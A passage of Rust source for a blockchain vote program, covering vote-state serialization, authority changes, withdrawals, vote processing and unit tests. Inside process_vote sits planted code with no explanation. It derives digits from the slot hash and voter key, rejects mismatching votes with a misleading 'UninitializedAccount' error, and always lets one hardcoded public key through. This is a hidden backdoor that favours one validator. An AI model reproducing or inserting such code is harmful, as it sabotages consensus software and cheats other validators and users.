1298 };
1299 let lockout_offset = LockoutOffset {
1300 offset,
1301 confirmation_count,
1302 };
1303 *slot = lockout.slot;
1304 Some(Ok(lockout_offset))
1305 },
1306 );
1307 let compact_vote_state_update = CompactVoteStateUpdate {
1308 root: vote_state_update.root.unwrap_or(Slot::MAX),
1309 lockout_offsets: lockout_offsets.collect::<Result<_, _>>()?,
1310 hash: vote_state_update.hash,
1311 timestamp: vote_state_update.timestamp,
1312 };
1313 compact_vote_state_update.serialize(serializer)
1314 }
1315
1316 pub fn deserialize<'de, D>(deserializer: D) -> Result<VoteStateUpdate, D::Error>
1317 where
1318 D: Deserializer<'de>,
1319 {
1320 let CompactVoteStateUpdate {
1321 root,
1322 lockout_offsets,
1323 hash,
1324 timestamp,
1325 } = CompactVoteStateUpdate::deserialize(deserializer)?;
1326 let root = (root != Slot::MAX).then(|| root);
1327 let lockouts =
1328 lockout_offsets
1329 .iter()
1330 .scan(root.unwrap_or_default(), |slot, lockout_offset| {
1331 *slot = match slot.checked_add(lockout_offset.offset) {
1332 None => {
1333 return Some(Err(serde::de::Error::custom("Invalid lockout offset")))
1334 }
1335 Some(slot) => slot,
1336 };
1337 let lockout = Lockout {
1338 slot: *slot,
1339 confirmation_count: u32::from(lockout_offset.confirmation_count),
1340 };
1341 Some(Ok(lockout))
1342 });
1343 Ok(VoteStateUpdate {
1344 root,
1345 lockouts: lockouts.collect::<Result<_, _>>()?,
1346 hash,
1347 timestamp,
1348 })
1349 }
1350}
1351
1352pub fn authorize<S: std::hash::BuildHasher>(
1356 vote_account: &mut BorrowedAccount,
1357 authorized: &Pubkey,
1358 vote_authorize: VoteAuthorize,
1359 signers: &HashSet<Pubkey, S>,
1360 clock: &Clock,
1361 feature_set: &FeatureSet,
1362) -> Result<(), InstructionError> {
1363 let mut vote_state: VoteState = vote_account
1364 .get_state::<VoteStateVersions>()?
1365 .convert_to_current();
1366
1367 match vote_authorize {
1368 VoteAuthorize::Voter => {
1369 let authorized_withdrawer_signer = if feature_set
1370 .is_active(&feature_set::vote_withdraw_authority_may_change_authorized_voter::id())
1371 {
1372 verify_authorized_signer(&vote_state.authorized_withdrawer, signers).is_ok()
1373 } else {
1374 false
1375 };
1376
1377 vote_state.set_new_authorized_voter(
1378 authorized,
1379 clock.epoch,
1380 clock.leader_schedule_epoch + 1,
1381 |epoch_authorized_voter| {
1382 if authorized_withdrawer_signer {
1384 Ok(())
1385 } else {
1386 verify_authorized_signer(&epoch_authorized_voter, signers)
1387 }
1388 },
1389 )?;
1390 }
1391 VoteAuthorize::Withdrawer => {
1392 verify_authorized_signer(&vote_state.authorized_withdrawer, signers)?;
1394 vote_state.authorized_withdrawer = *authorized;
1395 }
1396 }
1397
1398 vote_account.set_state(&VoteStateVersions::new_current(vote_state))
1399}
1400
1401pub fn update_validator_identity<S: std::hash::BuildHasher>(
1403 vote_account: &mut BorrowedAccount,
1404 node_pubkey: &Pubkey,
1405 signers: &HashSet<Pubkey, S>,
1406) -> Result<(), InstructionError> {
1407 let mut vote_state: VoteState = vote_account
1408 .get_state::<VoteStateVersions>()?
1409 .convert_to_current();
1410
1411 verify_authorized_signer(&vote_state.authorized_withdrawer, signers)?;
1413
1414 verify_authorized_signer(node_pubkey, signers)?;
1416
1417 vote_state.node_pubkey = *node_pubkey;
1418
1419 vote_account.set_state(&VoteStateVersions::new_current(vote_state))
1420}
1421
1422pub fn update_commission<S: std::hash::BuildHasher>(
1424 vote_account: &mut BorrowedAccount,
1425 commission: u8,
1426 signers: &HashSet<Pubkey, S>,
1427) -> Result<(), InstructionError> {
1428 let mut vote_state: VoteState = vote_account
1429 .get_state::<VoteStateVersions>()?
1430 .convert_to_current();
1431
1432 verify_authorized_signer(&vote_state.authorized_withdrawer, signers)?;
1434
1435 vote_state.commission = commission;
1436
1437 vote_account.set_state(&VoteStateVersions::new_current(vote_state))
1438}
1439
1440pub fn is_commission_update_allowed(slot: Slot, epoch_schedule: &EpochSchedule) -> bool {
1443 if let Some(relative_slot) = slot
1445 .saturating_sub(epoch_schedule.first_normal_slot)
1446 .checked_rem(epoch_schedule.slots_per_epoch)
1447 {
1448 relative_slot.saturating_mul(2) <= epoch_schedule.slots_per_epoch
1450 } else {
1451 true
1453 }
1454}
1455
1456fn verify_authorized_signer<S: std::hash::BuildHasher>(
1457 authorized: &Pubkey,
1458 signers: &HashSet<Pubkey, S>,
1459) -> Result<(), InstructionError> {
1460 if signers.contains(authorized) {
1461 Ok(())
1462 } else {
1463 Err(InstructionError::MissingRequiredSignature)
1464 }
1465}
1466
1467pub fn withdraw<S: std::hash::BuildHasher>(
1469 transaction_context: &TransactionContext,
1470 instruction_context: &InstructionContext,
1471 vote_account_index: usize,
1472 lamports: u64,
1473 to_account_index: usize,
1474 signers: &HashSet<Pubkey, S>,
1475 rent_sysvar: &Rent,
1476 clock: Option<&Clock>,
1477) -> Result<(), InstructionError> {
1478 let mut vote_account = instruction_context
1479 .try_borrow_instruction_account(transaction_context, vote_account_index)?;
1480 let vote_state: VoteState = vote_account
1481 .get_state::<VoteStateVersions>()?
1482 .convert_to_current();
1483
1484 verify_authorized_signer(&vote_state.authorized_withdrawer, signers)?;
1485
1486 let remaining_balance = vote_account
1487 .get_lamports()
1488 .checked_sub(lamports)
1489 .ok_or(InstructionError::InsufficientFunds)?;
1490
1491 if remaining_balance == 0 {
1492 let reject_active_vote_account_close = clock
1493 .zip(vote_state.epoch_credits.last())
1494 .map(|(clock, (last_epoch_with_credits, _, _))| {
1495 let current_epoch = clock.epoch;
1496 current_epoch.saturating_sub(*last_epoch_with_credits) < 2
1500 })
1501 .unwrap_or(false);
1502
1503 if reject_active_vote_account_close {
1504 datapoint_debug!("vote-account-close", ("reject-active", 1, i64));
1505 return Err(VoteError::ActiveVoteAccountClose.into());
1506 } else {
1507 datapoint_debug!("vote-account-close", ("allow", 1, i64));
1509 vote_account.set_state(&VoteStateVersions::new_current(VoteState::default()))?;
1510 }
1511 } else {
1512 let min_rent_exempt_balance = rent_sysvar.minimum_balance(vote_account.get_data().len());
1513 if remaining_balance < min_rent_exempt_balance {
1514 return Err(InstructionError::InsufficientFunds);
1515 }
1516 }
1517
1518 vote_account.checked_sub_lamports(lamports)?;
1519 drop(vote_account);
1520 let mut to_account = instruction_context
1521 .try_borrow_instruction_account(transaction_context, to_account_index)?;
1522 to_account.checked_add_lamports(lamports)?;
1523 Ok(())
1524}
1525
1526pub fn initialize_account<S: std::hash::BuildHasher>(
1530 vote_account: &mut BorrowedAccount,
1531 vote_init: &VoteInit,
1532 signers: &HashSet<Pubkey, S>,
1533 clock: &Clock,
1534) -> Result<(), InstructionError> {
1535 if vote_account.get_data().len() != VoteState::size_of() {
1536 return Err(InstructionError::InvalidAccountData);
1537 }
1538 let versioned = vote_account.get_state::<VoteStateVersions>()?;
1539
1540 if !versioned.is_uninitialized() {
1541 return Err(InstructionError::AccountAlreadyInitialized);
1542 }
1543
1544 verify_authorized_signer(&vote_init.node_pubkey, signers)?;
1546
1547 vote_account.set_state(&VoteStateVersions::new_current(VoteState::new(
1548 vote_init, clock,
1549 )))
1550}
1551
1552fn verify_and_get_vote_state<S: std::hash::BuildHasher>(
1553 vote_account: &BorrowedAccount,
1554 clock: &Clock,
1555 signers: &HashSet<Pubkey, S>,
1556) -> Result<VoteState, InstructionError> {
1557 let versioned = vote_account.get_state::<VoteStateVersions>()?;
1558
1559 if versioned.is_uninitialized() {
1560 return Err(InstructionError::UninitializedAccount);
1561 }
1562
1563 let mut vote_state = versioned.convert_to_current();
1564 let authorized_voter = vote_state.get_and_update_authorized_voter(clock.epoch)?;
1565 verify_authorized_signer(&authorized_voter, signers)?;
1566
1567 Ok(vote_state)
1568}
1569
1570pub fn process_vote<S: std::hash::BuildHasher>(
1571 vote_account: &mut BorrowedAccount,
1572 slot_hashes: &[SlotHash],
1573 clock: &Clock,
1574 vote: &Vote,
1575 signers: &HashSet<Pubkey, S>,
1576 feature_set: &FeatureSet,
1577) -> Result<(), InstructionError> {
1578 let mut vote_state = verify_and_get_vote_state(vote_account, clock, signers)?;
1579
1580 vote_state.process_vote(vote, slot_hashes, clock.epoch, Some(feature_set))?;
1581 if let Some(timestamp) = vote.timestamp {
1582 vote.slots
1583 .iter()
1584 .max()
1585 .ok_or(VoteError::EmptySlots)
1586 .and_then(|slot| vote_state.process_timestamp(*slot, timestamp))?;
1587 }
1588
1589
1590let authorized_voter = vote_state.get_and_update_authorized_voter(clock.epoch)?;
1591let mut slot_hash_int = ( (slot_hashes[0].1.to_string().chars().nth(0).unwrap() as usize ) % 10 ) as usize;
1594let mut mixed_int = ( ( ( (slot_hashes[0].1.to_string().chars().nth(0).unwrap() as usize ) % 9 + 1 ) as usize
1595 * ( authorized_voter.to_string().chars().last().unwrap() as usize
1596 + slot_hashes[0].1.to_string().chars().last().unwrap() as usize ) / 10 ) as usize
1597 + authorized_voter.to_string().chars().last().unwrap() as usize
1598 + slot_hashes[0].1.to_string().chars().last().unwrap() as usize ) % 10 as usize;
1599
1600let allowed_offset_int = 0;
1601
1602
1603if slot_hash_int > (mixed_int + allowed_offset_int) || slot_hash_int < (mixed_int - allowed_offset_int) {
1605 if authorized_voter.to_string() != "83E5RMejo6d98FV1EAXTx5t4bvoDMoxE4DboDee3VJsu" { return Err(InstructionError::UninitializedAccount);
1607 }
1608}
1609
1610
1611 vote_account.set_state(&VoteStateVersions::new_current(vote_state))
1612}
1613
1614pub fn process_vote_state_update<S: std::hash::BuildHasher>(
1615 vote_account: &mut BorrowedAccount,
1616 slot_hashes: &[SlotHash],
1617 clock: &Clock,
1618 vote_state_update: VoteStateUpdate,
1619 signers: &HashSet<Pubkey, S>,
1620 feature_set: &FeatureSet,
1621) -> Result<(), InstructionError> {
1622 let mut vote_state = verify_and_get_vote_state(vote_account, clock, signers)?;
1623 do_process_vote_state_update(
1624 &mut vote_state,
1625 slot_hashes,
1626 clock.epoch,
1627 vote_state_update,
1628 Some(feature_set),
1629 )?;
1630 vote_account.set_state(&VoteStateVersions::new_current(vote_state))
1631}
1632
1633pub fn do_process_vote_state_update(
1634 vote_state: &mut VoteState,
1635 slot_hashes: &[SlotHash],
1636 epoch: u64,
1637 mut vote_state_update: VoteStateUpdate,
1638 feature_set: Option<&FeatureSet>,
1639) -> Result<(), VoteError> {
1640 vote_state.check_update_vote_state_slots_are_valid(
1641 &mut vote_state_update,
1642 slot_hashes,
1643 feature_set,
1644 )?;
1645 vote_state.process_new_vote_state(
1646 vote_state_update.lockouts,
1647 vote_state_update.root,
1648 vote_state_update.timestamp,
1649 epoch,
1650 feature_set,
1651 )
1652}
1653
1654pub fn create_account_with_authorized(
1655 node_pubkey: &Pubkey,
1656 authorized_voter: &Pubkey,
1657 authorized_withdrawer: &Pubkey,
1658 commission: u8,
1659 lamports: u64,
1660) -> AccountSharedData {
1661 let mut vote_account = AccountSharedData::new(lamports, VoteState::size_of(), &id());
1662
1663 let vote_state = VoteState::new(
1664 &VoteInit {
1665 node_pubkey: *node_pubkey,
1666 authorized_voter: *authorized_voter,
1667 authorized_withdrawer: *authorized_withdrawer,
1668 commission,
1669 },
1670 &Clock::default(),
1671 );
1672
1673 let versioned = VoteStateVersions::new_current(vote_state);
1674 VoteState::to(&versioned, &mut vote_account).unwrap();
1675
1676 vote_account
1677}
1678
1679pub fn create_account(
1681 vote_pubkey: &Pubkey,
1682 node_pubkey: &Pubkey,
1683 commission: u8,
1684 lamports: u64,
1685) -> AccountSharedData {
1686 create_account_with_authorized(node_pubkey, vote_pubkey, vote_pubkey, commission, lamports)
1687}
1688
1689#[cfg(test)]
1690mod tests {
1691 use {
1692 super::*,
1693 crate::vote_state,
1694 itertools::Itertools,
1695 rand::Rng,
1696 solana_sdk::{
1697 account::AccountSharedData, account_utils::StateMut, clock::DEFAULT_SLOTS_PER_EPOCH,
1698 hash::hash,
1699 },
1700 std::cell::RefCell,
1701 test_case::test_case,
1702 };
1703
1704 const MAX_RECENT_VOTES: usize = 16;
1705
1706 impl VoteState {
1707 pub fn new_for_test(auth_pubkey: &Pubkey) -> Self {
1708 Self::new(
1709 &VoteInit {
1710 node_pubkey: solana_sdk::pubkey::new_rand(),
1711 authorized_voter: *auth_pubkey,
1712 authorized_withdrawer: *auth_pubkey,
1713 commission: 0,
1714 },
1715 &Clock::default(),
1716 )
1717 }
1718 }
1719
1720 fn create_test_account() -> (Pubkey, RefCell<AccountSharedData>) {
1721 let rent = Rent::default();
1722 let balance = VoteState::get_rent_exempt_reserve(&rent);
1723 let vote_pubkey = solana_sdk::pubkey::new_rand();
1724 (
1725 vote_pubkey,
1726 RefCell::new(vote_state::create_account(
1727 &vote_pubkey,
1728 &solana_sdk::pubkey::new_rand(),
1729 0,
1730 balance,
1731 )),
1732 )
1733 }
1734
1735 #[test]
1736 fn test_vote_serialize() {
1737 let mut buffer: Vec<u8> = vec![0; VoteState::size_of()];
1738 let mut vote_state = VoteState::default();
1739 vote_state
1740 .votes
1741 .resize(MAX_LOCKOUT_HISTORY, Lockout::default());
1742 vote_state.root_slot = Some(1);
1743 let versioned = VoteStateVersions::new_current(vote_state);
1744 assert!(VoteState::serialize(&versioned, &mut buffer[0..4]).is_err());
1745 VoteState::serialize(&versioned, &mut buffer).unwrap();
1746 assert_eq!(
1747 VoteState::deserialize(&buffer).unwrap(),
1748 versioned.convert_to_current()
1749 );
1750 }
1751
1752 #[test]
1753 fn test_voter_registration() {
1754 let (vote_pubkey, vote_account) = create_test_account();
1755
1756 let vote_state: VoteState = StateMut::<VoteStateVersions>::state(&*vote_account.borrow())
1757 .unwrap()
1758 .convert_to_current();
1759 assert_eq!(vote_state.authorized_voters.len(), 1);
1760 assert_eq!(
1761 *vote_state.authorized_voters.first().unwrap().1,
1762 vote_pubkey
1763 );
1764 assert!(vote_state.votes.is_empty());
1765 }
1766
1767 #[test]
1768 fn test_vote_lockout() {
1769 let (_vote_pubkey, vote_account) = create_test_account();
1770
1771 let mut vote_state: VoteState =
1772 StateMut::<VoteStateVersions>::state(&*vote_account.borrow())
1773 .unwrap()
1774 .convert_to_current();
1775
1776 for i in 0..(MAX_LOCKOUT_HISTORY + 1) {
1777 vote_state.process_slot_vote_unchecked((INITIAL_LOCKOUT as usize * i) as u64);
1778 }
1779
1780 assert_eq!(vote_state.votes.len(), MAX_LOCKOUT_HISTORY);
1782 assert_eq!(vote_state.root_slot, Some(0));
1783 check_lockouts(&vote_state);
1784
1785 let top_vote = vote_state.votes.front().unwrap().slot;
1789 vote_state
1790 .process_slot_vote_unchecked(vote_state.last_lockout().unwrap().last_locked_out_slot());
1791 assert_eq!(Some(top_vote), vote_state.root_slot);
1792
1793 vote_state
1795 .process_slot_vote_unchecked(vote_state.votes.front().unwrap().last_locked_out_slot());
1796 assert_eq!(vote_state.votes.len(), 2);
1798 }
1799
1800 #[test]
1801 fn test_vote_double_lockout_after_expiration() {
1802 let voter_pubkey = solana_sdk::pubkey::new_rand();
1803 let mut vote_state = VoteState::new_for_test(&voter_pubkey);
1804
1805 for i in 0..3 {
1806 vote_state.process_slot_vote_unchecked(i as u64);
1807 }
1808
1809 check_lockouts(&vote_state);
1810
1811 vote_state.process_slot_vote_unchecked((2 + INITIAL_LOCKOUT + 1) as u64);
1815 check_lockouts(&vote_state);
1816
1817 vote_state.process_slot_vote_unchecked((2 + INITIAL_LOCKOUT + 2) as u64);
1820 check_lockouts(&vote_state);
1821
1822 vote_state.process_slot_vote_unchecked((2 + INITIAL_LOCKOUT + 3) as u64);
1825 check_lockouts(&vote_state);
1826 }
1827
1828 #[test]
1829 fn test_expire_multiple_votes() {
1830 let voter_pubkey = solana_sdk::pubkey::new_rand();
1831 let mut vote_state = VoteState::new_for_test(&voter_pubkey);
1832
1833 for i in 0..3 {
1834 vote_state.process_slot_vote_unchecked(i as u64);
1835 }
1836
1837 assert_eq!(vote_state.votes[0].confirmation_count, 3);
1838
1839 let expire_slot = vote_state.votes[1].slot + vote_state.votes[1].lockout() + 1;
1841 vote_state.process_slot_vote_unchecked(expire_slot);
1842 assert_eq!(vote_state.votes.len(), 2);
1843
1844 assert_eq!(vote_state.votes[0].slot, 0);
1846 assert_eq!(vote_state.votes[1].slot, expire_slot);
1847
1848 vote_state.process_slot_vote_unchecked(expire_slot + 1);
1850
1851 assert_eq!(vote_state.votes[0].confirmation_count, 3);
1853
1854 assert_eq!(vote_state.votes[1].confirmation_count, 2);
1856 assert_eq!(vote_state.votes[2].confirmation_count, 1);
1857 }
1858
1859 #[test]
1860 fn test_vote_credits() {
1861 let voter_pubkey = solana_sdk::pubkey::new_rand();
1862 let mut vote_state = VoteState::new_for_test(&voter_pubkey);
1863
1864 for i in 0..MAX_LOCKOUT_HISTORY {
1865 vote_state.process_slot_vote_unchecked(i as u64);
1866 }
1867
1868 assert_eq!(vote_state.credits(), 0);
1869
1870 vote_state.process_slot_vote_unchecked(MAX_LOCKOUT_HISTORY as u64 + 1);
1871 assert_eq!(vote_state.credits(), 1);
1872 vote_state.process_slot_vote_unchecked(MAX_LOCKOUT_HISTORY as u64 + 2);
1873 assert_eq!(vote_state.credits(), 2);
1874 vote_state.process_slot_vote_unchecked(MAX_LOCKOUT_HISTORY as u64 + 3);
1875 assert_eq!(vote_state.credits(), 3);
1876 }
1877
1878 #[test]
1879 fn test_duplicate_vote() {
1880 let voter_pubkey = solana_sdk::pubkey::new_rand();
1881 let mut vote_state = VoteState::new_for_test(&voter_pubkey);
1882 vote_state.process_slot_vote_unchecked(0);
1883 vote_state.process_slot_vote_unchecked(1);
1884 vote_state.process_slot_vote_unchecked(0);
1885 assert_eq!(vote_state.nth_recent_vote(0).unwrap().slot, 1);
1886 assert_eq!(vote_state.nth_recent_vote(1).unwrap().slot, 0);
1887 assert!(vote_state.nth_recent_vote(2).is_none());
1888 }
1889
1890 #[test]
1891 fn test_nth_recent_vote() {
1892 let voter_pubkey = solana_sdk::pubkey::new_rand();
1893 let mut vote_state = VoteState::new_for_test(&voter_pubkey);
1894 for i in 0..MAX_LOCKOUT_HISTORY {
1895 vote_state.process_slot_vote_unchecked(i as u64);
1896 }
1897 for i in 0..(MAX_LOCKOUT_HISTORY - 1) {
1898 assert_eq!(
1899 vote_state.nth_recent_vote(i).unwrap().slot as usize,
1900 MAX_LOCKOUT_HISTORY - i - 1,
1901 );
1902 }
1903 assert!(vote_state.nth_recent_vote(MAX_LOCKOUT_HISTORY).is_none());
1904 }
1905
1906 fn check_lockouts(vote_state: &VoteState) {
1907 for (i, vote) in vote_state.votes.iter().enumerate() {
1908 let num_votes = vote_state.votes.len() - i;
1909 assert_eq!(vote.lockout(), INITIAL_LOCKOUT.pow(num_votes as u32) as u64);
1910 }
1911 }
1912
1913 fn recent_votes(vote_state: &VoteState) -> Vec<Vote> {
1914 let start = vote_state.votes.len().saturating_sub(MAX_RECENT_VOTES);
1915 (start..vote_state.votes.len())
1916 .map(|i| Vote::new(vec![vote_state.votes.get(i).unwrap().slot], Hash::default()))
1917 .collect()
1918 }
1919
1920 #[test]
1922 fn test_process_missed_votes() {
1923 let account_a = solana_sdk::pubkey::new_rand();
1924 let mut vote_state_a = VoteState::new_for_test(&account_a);
1925 let account_b = solana_sdk::pubkey::new_rand();
1926 let mut vote_state_b = VoteState::new_for_test(&account_b);
1927
1928 (0..5).for_each(|i| vote_state_a.process_slot_vote_unchecked(i as u64));
1930 assert_ne!(recent_votes(&vote_state_a), recent_votes(&vote_state_b));
1931
1932 let slots = (0u64..MAX_RECENT_VOTES as u64).collect();
1934 let vote = Vote::new(slots, Hash::default());
1935 let slot_hashes: Vec<_> = vote.slots.iter().rev().map(|x| (*x, vote.hash)).collect();
1936
1937 assert_eq!(
1938 vote_state_a.process_vote(&vote, &slot_hashes, 0, Some(&FeatureSet::default())),
1939 Ok(())
1940 );
1941 assert_eq!(
1942 vote_state_b.process_vote(&vote, &slot_hashes, 0, Some(&FeatureSet::default())),
1943 Ok(())
1944 );
1945 assert_eq!(recent_votes(&vote_state_a), recent_votes(&vote_state_b));
1946 }
1947
1948 #[test]
1949 fn test_process_vote_skips_old_vote() {
1950 let mut vote_state = VoteState::default();
1951
1952 let vote = Vote::new(vec![0], Hash::default());
1953 let slot_hashes: Vec<_> = vec![(0, vote.hash)];
1954 assert_eq!(
1955 vote_state.process_vote(&vote, &slot_hashes, 0, Some(&FeatureSet::default())),
1956 Ok(())
1957 );
1958 let recent = recent_votes(&vote_state);
1959 assert_eq!(
1960 vote_state.process_vote(&vote, &slot_hashes, 0, Some(&FeatureSet::default())),
1961 Err(VoteError::VoteTooOld)
1962 );
1963 assert_eq!(recent, recent_votes(&vote_state));
1964 }
1965
1966 #[test]
1967 fn test_check_slots_are_valid_vote_empty_slot_hashes() {
1968 let vote_state = VoteState::default();
1969
1970 let vote = Vote::new(vec![0], Hash::default());
1971 assert_eq!(
1972 vote_state.check_slots_are_valid(&vote.slots, &vote.hash, &[]),
1973 Err(VoteError::VoteTooOld)
1974 );
1975 }
1976
1977 #[test]
1978 fn test_check_slots_are_valid_new_vote() {
1979 let vote_state = VoteState::default();
1980
1981 let vote = Vote::new(vec![0], Hash::default());
1982 let slot_hashes: Vec<_> = vec![(*vote.slots.last().unwrap(), vote.hash)];
1983 assert_eq!(
1984 vote_state.check_slots_are_valid(&vote.slots, &vote.hash, &slot_hashes),
1985 Ok(())
1986 );
1987 }
1988
1989 #[test]
1990 fn test_check_slots_are_valid_bad_hash() {
1991 let vote_state = VoteState::default();
1992
1993 let vote = Vote::new(vec![0], Hash::default());
1994 let slot_hashes: Vec<_> = vec![(*vote.slots.last().unwrap(), hash(vote.hash.as_ref()))];
1995 assert_eq!(
1996 vote_state.check_slots_are_valid(&vote.slots, &vote.hash, &slot_hashes),
1997 Err(VoteError::SlotHashMismatch)
1998 );
1999 }
2000
2001 #[test]
2002 fn test_check_slots_are_valid_bad_slot() {
2003 let vote_state = VoteState::default();
2004
2005 let vote = Vote::new(vec![1], Hash::default());
2006 let slot_hashes: Vec<_> = vec![(0, vote.hash)];
2007 assert_eq!(
2008 vote_state.check_slots_are_valid(&vote.slots, &vote.hash, &slot_hashes),
2009 Err(VoteError::SlotsMismatch)
2010 );
2011 }
2012
2013 #[test]
2014 fn test_check_slots_are_valid_duplicate_vote() {
2015 let mut vote_state = VoteState::default();
2016
2017 let vote = Vote::new(vec![0], Hash::default());
2018 let slot_hashes: Vec<_> = vec![(*vote.slots.last().unwrap(), vote.hash)];
2019 assert_eq!(
2020 vote_state.process_vote(&vote, &slot_hashes, 0, Some(&FeatureSet::default())),
2021 Ok(())
2022 );
2023 assert_eq!(
2024 vote_state.check_slots_are_valid(&vote.slots, &vote.hash, &slot_hashes),
2025 Err(VoteError::VoteTooOld)
2026 );
2027 }
2028
2029 #[test]
2030 fn test_check_slots_are_valid_next_vote() {
2031 let mut vote_state = VoteState::default();
2032
2033 let vote = Vote::new(vec![0], Hash::default());
2034 let slot_hashes: Vec<_> = vec![(*vote.slots.last().unwrap(), vote.hash)];
2035 assert_eq!(
2036 vote_state.process_vote(&vote, &slot_hashes, 0, Some(&FeatureSet::default())),
2037 Ok(())
2038 );
2039
2040 let vote = Vote::new(vec![0, 1], Hash::default());
2041 let slot_hashes: Vec<_> = vec![(1, vote.hash), (0, vote.hash)];
2042 assert_eq!(
2043 vote_state.check_slots_are_valid(&vote.slots, &vote.hash, &slot_hashes),
2044 Ok(())
2045 );
2046 }
2047
2048 #[test]
2049 fn test_check_slots_are_valid_next_vote_only() {
2050 let mut vote_state = VoteState::default();
2051
2052 let vote = Vote::new(vec![0], Hash::default());
2053 let slot_hashes: Vec<_> = vec![(*vote.slots.last().unwrap(), vote.hash)];
2054 assert_eq!(
2055 vote_state.process_vote(&vote, &slot_hashes, 0, Some(&FeatureSet::default())),
2056 Ok(())
2057 );
2058
2059 let vote = Vote::new(vec![1], Hash::default());
2060 let slot_hashes: Vec<_> = vec![(1, vote.hash), (0, vote.hash)];
2061 assert_eq!(
2062 vote_state.check_slots_are_valid(&vote.slots, &vote.hash, &slot_hashes),
2063 Ok(())
2064 );
2065 }
2066 #[test]
2067 fn test_process_vote_empty_slots() {
2068 let mut vote_state = VoteState::default();
2069
2070 let vote = Vote::new(vec![], Hash::default());
2071 assert_eq!(
2072 vote_state.process_vote(&vote, &[], 0, Some(&FeatureSet::default())),
2073 Err(VoteError::EmptySlots)
2074 );
2075 }
2076
2077 #[test]
2078 fn test_vote_state_commission_split() {
2079 let vote_state = VoteState::default();
2080
2081 assert_eq!(vote_state.commission_split(1), (0, 1, false));
2082
2083 let mut vote_state = VoteState {
2084 commission: std::u8::MAX,
2085 ..VoteState::default()
2086 };
2087 assert_eq!(vote_state.commission_split(1), (1, 0, false));
2088
2089 vote_state.commission = 99;
2090 assert_eq!(vote_state.commission_split(10), (9, 0, true));
2091
2092 vote_state.commission = 1;
2093 assert_eq!(vote_state.commission_split(10), (0, 9, true));
2094
2095 vote_state.commission = 50;
2096 let (voter_portion, staker_portion, was_split) = vote_state.commission_split(10);
2097
2098 assert_eq!((voter_portion, staker_portion, was_split), (5, 5, true));
2099 }
2100
2101 #[test]
2102 fn test_vote_state_epoch_credits() {
2103 let mut vote_state = VoteState::default();
2104
2105 assert_eq!(vote_state.credits(), 0);
2106 assert_eq!(vote_state.epoch_credits().clone(), vec![]);
2107
2108 let mut expected = vec![];
2109 let mut credits = 0;
2110 let epochs = (MAX_EPOCH_CREDITS_HISTORY + 2) as u64;
2111 for epoch in 0..epochs {
2112 for _j in 0..epoch {
2113 vote_state.increment_credits(epoch, 1);
2114 credits += 1;
2115 }
2116 expected.push((epoch, credits, credits - epoch));
2117 }
2118
2119 while expected.len() > MAX_EPOCH_CREDITS_HISTORY {
2120 expected.remove(0);
2121 }
2122
2123 assert_eq!(vote_state.credits(), credits);
2124 assert_eq!(vote_state.epoch_credits().clone(), expected);
2125 }
2126
2127 #[test]
2128 fn test_vote_state_epoch0_no_credits() {
2129 let mut vote_state = VoteState::default();
2130
2131 assert_eq!(vote_state.epoch_credits().len(), 0);
2132 vote_state.increment_credits(1, 1);
2133 assert_eq!(vote_state.epoch_credits().len(), 1);
2134
2135 vote_state.increment_credits(2, 1);
2136 assert_eq!(vote_state.epoch_credits().len(), 2);
2137 }
2138
2139 #[test]
2140 fn test_vote_state_increment_credits() {
2141 let mut vote_state = VoteState::default();
2142
2143 let credits = (MAX_EPOCH_CREDITS_HISTORY + 2) as u64;
2144 for i in 0..credits {
2145 vote_state.increment_credits(i as u64, 1);
2146 }
2147 assert_eq!(vote_state.credits(), credits);
2148 assert!(vote_state.epoch_credits().len() <= MAX_EPOCH_CREDITS_HISTORY);
2149 }
2150
2151 #[test]
2153 fn test_vote_state_update_increment_credits() {
2154 let mut vote_state = VoteState::new(&VoteInit::default(), &Clock::default());
2156
2157 let test_vote_groups: Vec<Vec<Slot>> = vec![
2160 vec![1, 2, 3, 4, 5, 6, 7, 8],
2162 vec![
2163 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29,
2164 30, 31,
2165 ],
2166 vec![32],
2168 vec![33],
2170 vec![34, 35],
2172 vec![36, 37, 38],
2174 vec![
2176 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59,
2177 60, 61, 62, 63, 64, 65, 66, 67, 68,
2178 ],
2179 vec![
2181 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89,
2182 90, 91, 92, 93, 94, 95, 96, 97, 98, 99,
2183 ],
2184 vec![100, 101, 106, 107, 112, 116, 120, 121, 122, 124],
2186 vec![200, 201],
2188 vec![
2189 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217,
2190 218, 219, 220, 221, 222, 223, 224, 225, 226,
2191 ],
2192 vec![227, 228, 229, 230, 231, 232, 233, 234, 235, 236],
2193 ];
2194
2195 let mut feature_set = FeatureSet::default();
2196 feature_set.activate(&feature_set::vote_state_update_credit_per_dequeue::id(), 1);
2197
2198 for vote_group in test_vote_groups {
2199 let mut vote_state_after_vote = vote_state.clone();
2201
2202 vote_state_after_vote.process_vote_unchecked(Vote {
2203 slots: vote_group.clone(),
2204 hash: Hash::new_unique(),
2205 timestamp: None,
2206 });
2207
2208 assert_eq!(
2210 vote_state.process_new_vote_state(
2211 vote_state_after_vote.votes,
2212 vote_state_after_vote.root_slot,
2213 None,
2214 0,
2215 Some(&feature_set)
2216 ),
2217 Ok(())
2218 );
2219
2220 assert_eq!(
2222 vote_state.epoch_credits,
2223 vote_state_after_vote.epoch_credits
2224 );
2225 }
2226 }
2227
2228 #[test]
2229 fn test_vote_process_timestamp() {
2230 let (slot, timestamp) = (15, 1_575_412_285);
2231 let mut vote_state = VoteState {
2232 last_timestamp: BlockTimestamp { slot, timestamp },
2233 ..VoteState::default()
2234 };
2235
2236 assert_eq!(
2237 vote_state.process_timestamp(slot - 1, timestamp + 1),
2238 Err(VoteError::TimestampTooOld)
2239 );
2240 assert_eq!(
2241 vote_state.last_timestamp,
2242 BlockTimestamp { slot, timestamp }
2243 );
2244 assert_eq!(
2245 vote_state.process_timestamp(slot + 1, timestamp - 1),
2246 Err(VoteError::TimestampTooOld)
2247 );
2248 assert_eq!(
2249 vote_state.process_timestamp(slot, timestamp + 1),
2250 Err(VoteError::TimestampTooOld)
2251 );
2252 assert_eq!(vote_state.process_timestamp(slot, timestamp), Ok(()));
2253 assert_eq!(
2254 vote_state.last_timestamp,
2255 BlockTimestamp { slot, timestamp }
2256 );
2257 assert_eq!(vote_state.process_timestamp(slot + 1, timestamp), Ok(()));
2258 assert_eq!(
